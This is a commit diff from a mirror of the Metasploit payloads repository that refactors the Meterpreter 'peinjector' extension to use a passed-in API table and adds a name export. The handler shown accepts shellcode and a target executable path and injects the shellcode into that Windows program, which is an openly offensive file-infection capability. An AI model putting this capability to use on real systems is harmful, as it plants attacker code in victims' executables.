github/metasploit-payloads
1
Fork 0
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-24 10:09:49 +02:00
Code Releases Activity

Update peinjectory to avoid delay loading

Browse Source 
Also added the GetExtensionName function.
This commit is contained in:
OJ 2020-04-17 18:26:08 +10:00
parent 136a58a194
commit f7b50df020
No known key found for this signature in database
GPG Key ID: D5DC61FB93260597
5 changed files with 48 additions and 30 deletions
c/meterpreter
source/extensions/peinjector
libpefile.clibpeinfect.cpeinjector.cpeinjector_bridge.c
workspace/ext_server_peinjector
ext_server_peinjector.vcxproj

7
c/meterpreter/source/extensions/peinjector/libpefile.c

@ -7,7 +7,8 @@
#include <string.h> #include <string.h>
#include <stddef.h> #include <stddef.h>
#include "libpefile.h" #include "libpefile.h"
#include "../../common/common.h" #include "common.h"
#include "common_metapi.h"
/* Min/Max Macros */ /* Min/Max Macros */
#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b)) #define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b))
@ -358,7 +359,7 @@ bool pefile_read_file(char *file, PEFILE_READ_OPTIONS *options, PEFILE *out) {
FILE *fh; FILE *fh;
/* Open file */ /* Open file */
wchar_t *file_w = utf8_to_wchar(file); wchar_t *file_w = met_api->string.utf8_to_wchar(file);
if (_wfopen_s(&fh, file_w, L"rb") == 0) { if (_wfopen_s(&fh, file_w, L"rb") == 0) {
/* Get file size and allocate buffer */ /* Get file size and allocate buffer */
@ -539,7 +540,7 @@ bool pefile_write_file(PEFILE *in, PEFILE_WRITE_OPTIONS *options, char* file) {
/* Open file */ /* Open file */
FILE *fh; FILE *fh;
wchar_t *file_w = utf8_to_wchar(file); wchar_t *file_w = met_api->string.utf8_to_wchar(file);
if (_wfopen_s(&fh, file_w, L"wb") == 0) { if (_wfopen_s(&fh, file_w, L"wb") == 0) {
/* Generate PE File memory */ /* Generate PE File memory */

5
c/meterpreter/source/extensions/peinjector/libpeinfect.c

@ -7,7 +7,8 @@
#include <stdlib.h> #include <stdlib.h>
#include "libpeinfect.h" #include "libpeinfect.h"
#include "libpeinfect_obfuscator.h" #include "libpeinfect_obfuscator.h"
#include "../../common/common.h" #include "common.h"
#include "common_metapi.h"
/* Min/Max Macros */ /* Min/Max Macros */
#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b)) #define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b))
@ -757,7 +758,7 @@ bool peinfect_infect_full_file(char *infile, PEINFECT *in, char *outfile) {
/* Open file */ /* Open file */
FILE *fh; FILE *fh;
wchar_t *file_w = utf8_to_wchar(infile); wchar_t *file_w = met_api->string.utf8_to_wchar(infile);
if (_wfopen_s(&fh, file_w, L"rb") == 0) { if (_wfopen_s(&fh, file_w, L"rb") == 0) {
/* Get file size and allocate buffer */ /* Get file size and allocate buffer */

39
c/meterpreter/source/extensions/peinjector/peinjector.c

@ -2,17 +2,16 @@
* @file peinjector.c * @file peinjector.c
* @brief Entry point and intialisation definitions for the Peinjector extension * @brief Entry point and intialisation definitions for the Peinjector extension
*/ */
#include "../../common/common.h" #include "common.h"
#include "common_metapi.h"
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" // Required so that use of the API works.
MetApi* met_api = NULL;
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "peinjector_bridge.h" #include "peinjector_bridge.h"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
Command customCommands[] = Command customCommands[] =
{ {
COMMAND_REQ("peinjector_inject_shellcode", request_peinjector_inject_shellcode), COMMAND_REQ("peinjector_inject_shellcode", request_peinjector_inject_shellcode),
@ -20,25 +19,41 @@ Command customCommands[] =
}; };
/*! /*!
* @brief Initialize the server extension * @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/ */
DWORD __declspec(dllexport) InitServerExtension(Remote *remote) DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote)
{ {
hMetSrv = remote->met_srv; met_api = api;
dprintf("[PEINJECTOR] Initializing peinjector...");
command_register_all(customCommands); met_api->command.register_all( customCommands );
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
/*! /*!
* @brief Deinitialize the server extension * @brief Deinitialize the server extension.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/ */
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{ {
command_deregister_all(customCommands); met_api->command.deregister_all( customCommands );
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
/*!
* @brief Get the name of the extension.
* @param buffer Pointer to the buffer to write the name to.
* @param bufferSize Size of the \c buffer parameter.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
{
strncpy_s(buffer, bufferSize, "peinjector", bufferSize - 1);
return ERROR_SUCCESS;
}

19
c/meterpreter/source/extensions/peinjector/peinjector_bridge.c

@ -3,7 +3,8 @@
* @brief Wrapper functions for bridging native meterp calls to peinjector * @brief Wrapper functions for bridging native meterp calls to peinjector
*/ */
#include "../../common/common.h" #include "common.h"
#include "common_metapi.h"
#include "peinjector.h" #include "peinjector.h"
#include "peinjector_bridge.h" #include "peinjector_bridge.h"
#include "libpeinfect.h" #include "libpeinfect.h"
@ -46,15 +47,15 @@ void __load_config(PEINFECT *infect, BYTE* shellcode, UINT shellcode_size, bool
DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet) DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet)
{ {
DWORD dwResult = ERROR_SUCCESS; DWORD dwResult = ERROR_SUCCESS;
Packet* response = packet_create_response(packet); Packet* response = met_api->packet.create_response(packet);
if (response) if (response)
{ {
BYTE* shellcode = packet_get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE); BYTE* shellcode = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE);
UINT size = packet_get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE); UINT size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE);
BOOL is_x64 = packet_get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64); BOOL is_x64 = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64);
char* target_executable_path = packet_get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE); char* target_executable_path = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE);
if (shellcode != NULL) if (shellcode != NULL)
{ {
dprintf("[PEINJECTOR] recived path: %s", target_executable_path); dprintf("[PEINJECTOR] recived path: %s", target_executable_path);
@ -77,15 +78,15 @@ DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet)
} }
else { else {
dprintf("There was an error, shellcode not injected\n"); dprintf("There was an error, shellcode not injected\n");
packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected"); met_api->packet.add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected");
} }
} }
else { else {
dprintf("The architecture of the file is incompatible with the selected payload\n"); dprintf("The architecture of the file is incompatible with the selected payload\n");
packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload"); met_api->packet.add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload");
} }
packet_transmit_response(dwResult, remote, response); met_api->packet.transmit_response(dwResult, remote, response);
} }
else else
{ {

8
c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj

@ -84,7 +84,7 @@
<Optimization>MinSpace</Optimization> <Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions> <IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling> <StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
@ -134,7 +134,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Optimization>MinSpace</Optimization> <Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions> <IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling> <StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
@ -187,7 +187,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Optimization>MaxSpeed</Optimization> <Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions> <IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling> <StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
@ -237,7 +237,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Optimization>MaxSpeed</Optimization> <Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions> <IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling> <StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>